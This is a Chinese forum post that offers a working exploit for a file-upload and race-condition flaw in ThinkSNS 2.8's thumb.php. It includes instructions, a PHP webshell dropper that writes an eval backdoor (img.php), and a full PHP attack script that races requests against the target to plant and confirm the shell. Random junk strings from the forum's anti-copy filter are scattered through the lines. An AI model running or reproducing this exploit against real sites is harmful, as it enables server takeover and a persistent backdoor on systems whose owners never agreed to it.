找回密码
 立即注册
查看: 2790|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
" n- o( L/ Z% `7 H存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)1 V" m1 p+ D+ X/ y* j. `7 y
漏洞文件
7 N% W( k1 R  Q: Q存在漏洞的文件为:thumb.php
% f- k+ @; G- q: g0 a# g作者:韦鲲鹏
  x- B% \/ ?5 E  O1 |2 [1、        准备如下PHP文件并上传到服务器(自己的)。
# c& J7 {) J( J3 ~8 s9 E. I( X文件内容如下:
  ~: I  v% K! ~/ H8 R0 L<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>$ {! k; S2 J( t- s9 p1 \. ~& y( l
2、        计算出临时的文件名:$ `% Z) ]) l; d6 y" t- s! ~
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
) D* j7 U: c& M' m! j1 p
- j7 J* _+ Q- F2 }. w# }4 J% q% V; A3、        上传临时文件。+ d/ T' b, T8 c
4、        访问临时文件。
6 O# A! M1 Y" b& D但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)' x; v- {, ~/ p7 j
Exploit文件内容如下:(这个我就不详细解释了)8 Z* p$ G% M/ w! g7 c
<?php$ ]# B( E: m4 \
error_reporting(0);2 Y* S" m8 u2 U' f  ]6 k1 Y
set_time_limit(0);6 Y/ [, x2 F; ]. H' k
ini_set(“default_socket_timeout”, 5);: Z1 l2 u# l  T' k* ?& S* u$ c
function http_send($host, $port, $headers) {- h4 |% O1 Q2 G) ?1 q/ J$ F* R
$fp = fsockopen($host, $port);
+ z9 U6 D  A, _if (!$fp) die(‘Connection -> fail’);
1 N2 _+ Z6 E8 E# rfputs($fp, $headers);" n& n; n$ Z9 F
return $fp;* Y% i( L6 {2 r9 q7 C! l) P; `+ w
}
( v4 Q% @, ^3 bfunction http_recv($fp) {; G" h, }( U, I; j2 }6 }5 |
$ret=”";, R& V0 K0 m# B9 V6 d. j: O6 d
while (!feof($fp))
, M# O$ m( e2 E2 R) L- m$ret.= fgets($fp, 1024);# i7 t! Z0 c& R: Y6 G- [
fclose($fp);& z% d, w, f! b! Y7 j9 O5 J5 r. _' }7 Q
return $ret;8 `- |2 ?) z8 n* @
}
2 q6 ^2 B. n, A8 [print “\n#  ThinkSns Arbitrary File Upload   #\n”;
% V5 _) g( T+ J, X% e( U2 tprint “# Discovered by 韦鲲鹏 #\n\n”;6 k  }9 G* s7 W) D- Z
if ($argc < 4) {
4 E) h! I4 m! ~( l6 Fprint “Usage:   php <host> <path> <romote_url>\n”;
! }1 G/ g" L( K, v. hprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;( G0 T5 p1 \: A6 E5 ^
die();* H8 E  e# ]2 E+ c; w6 |$ }$ S/ X9 W
}1 ~3 v/ T+ o+ N) Q1 f
$host = $argv[1];- B: N; r. R) B
$path = $argv[2];  f1 x& k; j: K* ?4 v( L: b( O5 q% }
$url = $argv[3];5 O- d, n9 a" m. C. Z% N
$i=0;, E0 v0 h7 e5 Y( x5 W- E( F
//上传数据包+ B3 d3 c$ k* H
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;7 h5 T2 c5 x# b0 {7 U1 v7 a5 V
$headers_up .= “Host: “.$host.”\r\n”;' @  A6 ?9 v, p- p  s; M) Q9 r5 W% ?: [
$headers_up .= “Connection: close\r\n\r\n”;9 Q, x( E% \( N0 n( d
echo $headers_up;  p2 d; A- i/ s3 r6 ~
//临时文件访问数据包2 J# }( L+ e- K1 N' H% a# H
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;; L1 z0 P; v' C; G
$headers .= “Host: “.$host.”\r\n”;/ m& z3 k" G" ~  H
$headers .= “Connection: close\r\n\r\n”;$ E5 c' c, I. s7 K, u
echo $headers;
: S; [7 ^3 F$ N7 Q0 B  @* L- ]2 Awhile(++$i<10) {
- D. P  r8 m2 wfclose(http_send($host, 80, $headers));$ z- x3 ^0 t" P; u6 ]7 M! I# x& F$ _
}
6 v- }) A/ V; H" b3 Y: tfclose(http_send($host, 80, $headers_up));0 q1 u$ [4 z, z: r1 e6 c  v
while(++$i<50) {9 J3 n! x- Y/ l/ {1 d" `/ i
fclose(http_send($host, 80, $headers));: ?# X& J; b. E) H' G8 h
}( c7 S) A% o/ h+ F+ Y
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
/ G& E/ ?( C; y& R$headers .= “Host: “.$host.”\r\n”;
/ V& c, d2 E; J$ X! P6 h$headers .= “Connection: close\r\n\r\n”;
0 f9 z1 ]5 @2 T$res=http_recv(http_send($host, 80, $headers));0 k. u* v# c* T, `- t; ^
if(preg_match(‘/200 OK/’,$res)) {! \7 H8 c1 M" h1 B: s1 v6 L. k7 V
print “Success!\n\n”;+ R! P$ p  J7 p; _& y
} else {
0 O- p" J% ~/ X: q$ a8 F) s3 ]print “Fail!\n\n”;
2 ?- d% i8 t) B& r6 z}' B0 B) P  }" L% |+ b
?>
6 ^1 d# z, E9 c' G( S9 D3 o0 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表